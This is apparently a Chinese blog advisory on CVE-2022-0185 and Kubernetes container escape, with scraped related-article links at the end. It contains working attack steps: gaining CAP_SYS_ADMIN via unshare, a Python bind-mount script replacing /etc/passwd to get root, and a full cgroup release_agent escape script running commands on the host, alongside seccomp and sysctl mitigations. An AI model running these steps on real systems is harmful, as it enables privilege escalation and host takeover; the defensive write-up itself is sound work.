Kubernetes 新型容器逃逸漏洞预警
作者:米开朗基杨,KubeSphere 布道师,云原生重度感染者
2022 年 1 月 18 日,Linux 维护人员和供应商在 Linux 内核(5.1-rc1+)文件系统上下文功能的 legacy_parse_param 函数中发现一个堆缓冲区溢出漏洞,该漏洞的 ID 编号为 CVE-2022-0185,属于高危漏洞,严重等级为 7.8。
该漏洞允许在内核内存中进行越界写入。利用这个漏洞,无特权的攻击者可以绕过任何 Linux 命名空间的限制,将其权限提升到 root。例如,如果攻击者渗透到你的容器中,就可以从容器中逃逸,提升权限。
该漏洞于 2019 年 3 月被引入 Linux 内核 5.1-rc1 版本。1 月 18 日发布的补丁修复了这个问题,建议所有 Linux 用户下载并安装最新版本的内核。
漏洞细节
该漏洞是由文件系统上下文功能(fs/fs_context.c)的 legacy_parse_param 函数中发现的整数下溢条件引起的。文件系统上下文的功能是创建用于挂载和重新挂载文件系统的超级块,超级块记录了一个文件系统的特征,如块和文件大小,以及任何存储块。
通过向 legacy_parse_param 函数发送超过 4095 字节的输入,便可以绕过输入长度检测,导致越界写入,触发该漏洞。攻击者可以利用此漏洞将恶意代码写入内存的其他部分,导致系统崩溃,或者可以执行任意代码以提升权限。
legacy_parse_param 函数的输入数据是通过 fsconfig 系统调用添加的,以用于配置文件系统的创建上下文(如 ext4 文件系统的超级块)。
// 使用 fsconfig 系统调用添加由 val 指向的以空字符(NULL)结尾的字符串
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
要使用 fsconfig 系统调用,非特权用户必须至少在其当前命名空间中具有 CAP_SYS_ADMIN 特权。这意味着如果用户可以进入另一个具有这些权限的命名空间,则足以利用此漏洞。
如果非特权用户无法获得 CAP_SYS_ADMIN 权限,攻击者可以通过 unshare(CLONE_NEWNS|CLONE_NEWUSER) 系统调用获得该权限。Unshare 系统调用可以让用户创建或克隆一个命名空间或用户,从而拥有进行进一步攻击所需的必要权限。这种技术对于使用 Linux 命名空间来隔离 Pod 的 Kubernetes 和容器世界非常重要,攻击者完全可以在容器逃逸攻击中利用这一点,一旦成功,攻击者便可以获得对主机操作系统和系统上运行的所有容器的完全控制权限,从而进一步攻击内部网段的其他机器,甚至可以在 Kubernetes 集群中部署恶意容器。
发现该漏洞的研究团队于 1 月 25 日在 GitHub 上发布了利用该漏洞的代码和概念证明。
PoC
Docker 和其他容器运行时默认都会使用 Seccomp 配置文件来阻止容器中的进程使用危险的系统调用,以保护 Linux 命名空间边界。
Seccomp(全称:secure computing mode)在 2.6.12 版本(2005年3月8日)中引入 Linux 内核,将进程可用的系统调用限制为四种:read,write,_exit,sigreturn。最初的这种模式是白名单方式,在这种安全模式下,除了已打开的文件描述符和允许的四种系统调用,如果尝试其他系统调用,内核就会使用 SIGKILL 或 SIGSYS 终止该进程。
然而 Kubernetes 默认情况下并不会使用任何 Seccomp 或 AppArmor/SELinux 配置文件来限制 Pod 的系统调用,这就很危险了,Pod 中的进程可以自由访问危险的系统调用,伺机获得必要的特权(例如 CAP_SYS_ADMIN),以便进一步攻击。
我们先来看一个 Docker 的例子,在标准的 Docker 环境中,unshare 命令是无法使用的,Docker 的 Seccomp 过滤器阻止了这个命令使用的系统调用。
$ docker run --rm -it alpine /bin/sh
/ # unshare
unshare: unshare(0x0): Operation not permitted
再来看下 Kubernetes 的 Pod:
$ kubectl run --rm -it test --image=ubuntu /bin/bash
If you don't see a command prompt, try pressing enter.
root@test:/# lsns | grep user
4026531837 user 3 1 root /bin/bash
root@test:/#
root@test:/# apt update && apt install -y libcap2 libcap-ng-utils
root@test:/# ......
root@test:/# pscap -a
ppid pid name command capabilities
0 1 root bash chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap
可以看到 Pod 中的 root 用户并没有 CAP_SYS_ADMIN 能力,但我们可以通过 unshare 命令来获取 CAP_SYS_ADMIN 能力。
root@test:/# unshare -Urm
#
# pscap -a
ppid pid name command capabilities
0 1 root bash chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap
1 265 root sh full
# lsns | grep user
4026532695 user 3 265 root -sh
那么拥有了 CAP_SYS_ADMIN 可以做啥呢?这里给出两个示例,展示如何利用 CAP_SYS_ADMIN 来对系统进行渗透。
普通用户提权为 root 用户!
下面这段骚操作可以将主机中的普通用户直接提权为 root 用户。
先给 python3 赋予 CAP_SYS_ADMIN 能力(注意,不能对软链接进行操作,只能操作原文件)。
$ which python3
/usr/bin/python3
$ ll /usr/bin/python3
lrwxrwxrwx 1 root root 9 Mar 13 2020 /usr/bin/python3 -> python3.8*
$ setcap CAP_SYS_ADMIN+ep /usr/bin/python3.8
$ getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_sys_admin+ep
创建一个普通用户。
$ useradd test -d /home/test -m
然后切换到普通用户,并进入用户 home 目录。
$ su test
$ cd ~
将 /etc/passwd 复制到当前目录,并将 root 用户的密码改完 "password"。
$ cp /etc/passwd ./
$ openssl passwd -1 -salt abc password
$1$abc$BXBqpb9BZcZhXLgbee.0s/
# 将第一行的 root:x 改为 root:$1$abc$BXBqpb9BZcZhXLgbee.0s/
$ head -2 passwd
root:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
将修改后的 passwd 文件挂载到 /etc/passwd。
# cat mount-passwd.py
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/home/test/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
$ python3 mount-passwd.py
最后就是见证奇迹的时刻!!!直接切换到 root 用户,并输入密码 "password"。
$ su root
Password:
root@coredns:/home/test#
好神奇,切换到 root 用户了。。。
来看看是不是真的获得了 root 的权限吧:
$ find / -name "*flag*" 2>/dev/null
/sys/kernel/tracing/events/power/pm_qos_update_flags
/sys/kernel/debug/tracing/events/power/pm_qos_update_flags
/sys/kernel/debug/block/vdb/hctx0/flags
/sys/kernel/debug/block/vda/hctx0/flags
/sys/kernel/debug/block/loop7/hctx0/flags
/sys/kernel/debug/block/loop6/hctx0/flags
/sys/kernel/debug/block/loop5/hctx0/flags
/sys/kernel/debug/block/loop4/hctx0/flags
/sys/kernel/debug/block/loop3/hctx0/flags
/sys/kernel/debug/block/loop2/hctx0/flags
/sys/kernel/debug/block/loop1/hctx0/flags
/sys/kernel/debug/block/loop0/hctx0/flags
....
$ cat /sys/kernel/debug/block/vdb/hctx0/flags
alloc_policy=FIFO SHOULD_MERGE
嗯哼,是 root 没错了。
最后记得将 /etc/passwd 卸载哦。
$ umount /etc/passwd
所以,系统重启工程师(System Reboot Engineer)们,赶紧看看你们分配给其他人的普通用户有没有 CAP_SYS_ADMIN 能力吧~~
容器中查看主机所有进程!
再来看一个容器的例子,下面这段骚操作可以让你在容器中获取到主机正在运行的所有进程。
我们不需要使用 --privileged 参数来运行特权容器,那样就没意思啦。
$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
接下来在容器中执行下面的命令,最终的效果是在主机上执行 ps aux 命令,并将其输出保存到容器中的 /output 文件。
# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Creates a payload
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
最终你可以在容器中看到主机中运行的所有进程:
root@0c84f7587629:/# cat /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 172704 13148 ? Ss 2021 131:32 /sbin/init nopti
root 2 0.0 0.0 0 0 ? S 2021 0:18 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 2021 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 2021 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 2021 0:00 [kworker/0:0H-kblockd]
root 8 0.0 0.0 0 0 ? I< 2021 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S 2021 18:36 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I 2021 262:22 [rcu_sched]
root 11 0.0 0.0 0 0 ? S 2021 3:06 [migration/0]
root 12 0.0 0.0 0 0 ? S 2021 0:00 [idle_inject/0]
root 14 0.0 0.0 0 0 ? S 2021 0:00 [cpuhp/0]
root 15 0.0 0.0 0 0 ? S 2021 0:00 [cpuhp/1]
......
这些命令的具体含义我就不解释啦,感兴趣的可以自己对照注释研究一下。
可以确定的是,CAP_SYS_ADMIN 能力为攻击者提供了更多的可能性,不管是在宿主机还是在容器中,尤其是容器环境,如果我们因为不可抗因素无法升级内核,就要寻求其他的解决方案。
解决方案
容器层面
从 v1.22 版本开始,Kubernetes 便可以使用 SecurityContext 将默认的 Seccomp 或 AppArmor 配置文件添加到资源对象中,以保护 Pod、Deployment、Statefulset、Daemonset 等等。虽然这个功能目前处于 Alpha 阶段,但用户可以添加自己的 Seccomp 或 AppArmor 配置文件,并在 SecurityContext 中定义它。例如:
# pod-test.yaml
apiVersion: v1
kind: Pod
metadata:
name: protected
spec:
containers:
- name: protected
image: ubuntu
command:
- sleep
- infinity
securityContext:
seccompProfile:
type: RuntimeDefault
创建 Pod 后,尝试使用 unshare 获得 CAP_SYS_ADMIN 能力。
$ kubectl exec -it protected -- bash
root@protected:/#
root@protected:/# unshare -Urm
unshare: unshare failed: Operation not permitted
输出结果显示,unshare 系统调用被成功阻止了,攻击者便无法利用该能力进行攻击。
主机层面
还有一种方案是从主机层面禁止用户使用 user namespace 的能力,不需要重启系统。例如,在 Ubuntu 中,只需要执行下面两行命令便可即时生效,并且重启系统后也会生效。
$ echo "kernel.unprivileged_userns_clone=0" > /etc/sysctl.d/userns.conf
$ sysctl -p /etc/sysctl.d/userns.conf
如果是 Red Hat 系的系统,可以执行下面的命令来达到同样的效果。
$ echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
$ sysctl -p /etc/sysctl.d/userns.conf
总结一下对于该漏洞的处理建议:
- 如果你的环境可以接受给内核打补丁,也能接受重启系统,最好打补丁,或者升级内核。
- 减少使用能够访问 CAP_SYS_ADMIN 的特权容器。
- 对于没有特权的容器,确保有一个 Seccomp 过滤器来阻止其对 unshare 的调用,以减少风险。Docker 没问题,Kubernetes 需要额外操作。
- 未来可以为 Kubernetes 集群中的所有工作负载启用 Seccomp 配置文件。目前该功能还处于 Alpha 阶段,需要通过特性开关(feature gate)开启。
- 在主机层面禁止用户使用 user namespace 的能力。
写在最后
容器环境错综复杂,特别是像 Kubernetes 这样的分布式调度平台,每一个环节都有自己的生命周期和攻击面,很容易暴露出安全风险,容器集群管理员必须注意每一处细节的安全问题。总的来说,绝大多数情况下容器的安全性都取决于 Linux 内核的安全性,因此,我们需要时刻关注任何安全问题,并尽快实施对应的解决方案。
参考资料
- CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit
- CVE-2022-0185: Detecting and mitigating Linux Kernel vulnerability causing container escape
- Excessive Capabilities
- CAP_SYS_ADMIN
本文由博客一文多发平台 OpenWrite 发布!
Kubernetes 新型容器逃逸漏洞预警的更多相关文章
- 腾讯云发布runC容器逃逸漏洞修复公告
尊敬的腾讯云客户,您好: 近日,腾讯云安全中心监测发现轻量级容器运行环境runc被爆存在容器逃逸漏洞,攻击者可以在利用该漏洞覆盖Host上的runc文件,从而在Host上以root权限执行代码. 为 ...
- RunC容器逃逸漏洞席卷业界,网易云如何做到实力修复?
近日,业界爆出的runC容器越权逃逸漏洞CVE-2019-5736,席卷了整个基于runC的容器云领域,大量云计算厂商和采用容器云的企业受到影响.网易云方面透露,经过技术团队的紧急应对,网易云上的容器 ...
- 利用容器逃逸实现远程登录k8s集群节点
某天, 某鱼说要吃瞄, 于是...... 李国宝:边缘计算k8s集群SuperEdge初体验 zhuanlan.zhihu.com 图标 照着上一篇文章来说,我这边边缘计算集群有一堆节点. 每个节 ...
- docker 恶意镜像到容器逃逸影响本机
转载:http://521.li/post/122.html SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podman, CR ...
- DevOps与Kubernetes 、容器的关系
近两年,随着容器.Kubernetes 等技术的兴起,DevOps 这个概念被广泛提及并被大量使用. 本文将会从以下几个方面着手,结合实验展现的方式,让读者真正理解 DevOps 的含义. DevOp ...
- docker逃逸漏洞复现(CVE-2019-5736)
漏洞概述 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podm ...
- Docker应用:Kubernetes(容器集群)
阅读目录: Docker应用:Hello World Docker应用:Docker-compose(容器编排) Docker应用:Kubernetes(容器集群) 前言: 终于出第三篇了,上个月就已 ...
- 三小时学会Kubernetes:容器编排详细指南
三小时学会Kubernetes:容器编排详细指南 如果谁都可以在三个小时内学会Kubernetes,银行为何要为这么简单的东西付一大笔钱? 如果你心存疑虑,我建议你不妨跟着我试一试!在完成本文的学习后 ...
- [转帖]Kubernetes及容器编排的总体介绍【译】
Kubernetes及容器编排的总体介绍[译] 翻译自The New Stack<Kubernetes 生态环境>作者:JANAKIRAM MSV和 KRISHNAN SUBRAMANIA ...
- 通过 Kubernetes 和容器实现 DevOps
https://mp.weixin.qq.com/s/1WmwisSGrVyXixgCYzMA1w 直到 Docker 的出现(2008 年),容器才真正具备了较好的可操作性和实用性.容器技术的概念最 ...
随机推荐
- pyqt报错、python报错:src/pyaudio/device_api.c:9:10: fatal error: portaudio.h: 没有那个文件或目录
报错信息: -DNDEBUG -fwrapv -O2 -Wall -fPIC -O2 -isystem /home/devil/anaconda3/envs/91/include -fPIC -O2 ...
- ubuntu:通过缺失的系统lib库文件查找所需要安装的package——根据lib文件查找所属的package包——命令:sudo apt-file search
参考: 使用apt-file,根据文件查找所需安装的软件包 ======================================= 使用 apt-file 命令可以通过lib文件名查找其所属的 ...
- 个人17年购入的HP 暗影2pro笔记本开机掉电,电池无法充电,无法开机
相关链接: https://www.cnblogs.com/devilmaycry812839668/p/15228316.html 机器问题: 1. 电池时而能充电时而不能充电,有时候使用7天后不能 ...
- 中美在AI领域差距12个月
看到一个新闻: <马斯克再谈AI:中美差距12个月> 其实想想这个评价也还中肯,尽管这些年国内AI大有弯道超车之势,但是不可否认的是由于欧美的历史领先优势和强大的科研及商业上的独立创新能力 ...
- gym.ActionWrapper使用时的注意点——step函数可以覆盖observation函数
本文说的这个gym.ActionWrapper继承类的问题和gym.ObservationWrapper继承类的问题性质是一样的,具体看: gym.ObservationWrapper使用时的注意点- ...
- [rCore学习笔记 022]多道程序与分时任务
写在前面 本随笔是非常菜的菜鸡写的.如有问题请及时提出. 可以联系:1160712160@qq.com GitHhub:https://github.com/WindDevil (目前啥也没有 思考 ...
- int128输入输出流
using i128 = __int128; istream &operator>>(istream &is, i128 &x) { string s; is &g ...
- redis-cli命令行工具使用
redis 6.2.8 1.连接 ./redis-cli -h 127.0.0.1 -p 6379 -a admin@2020 -h redis主机地址 -a redis密码 -p redis端口 2 ...
- ios滚动列表白屏问题
移动端分页列表,在ios上滚动加载分页时候,使用scrollTop,会引起白屏问题. 看不少文章说是使用了-webkit-overflow-scrolling: touch;引起的硬件加速问题.亲测删 ...
- 廉价平替esphome水浸 雨水传感器diy
2024年7月27日 改进了手头的所有8266 都加了红外和dht11 干了一件非常抽象的事情 调试的时候给dht11 插到5v了 单薄的它好像要融化了 binary_sensor: # 水浸 雨水 ...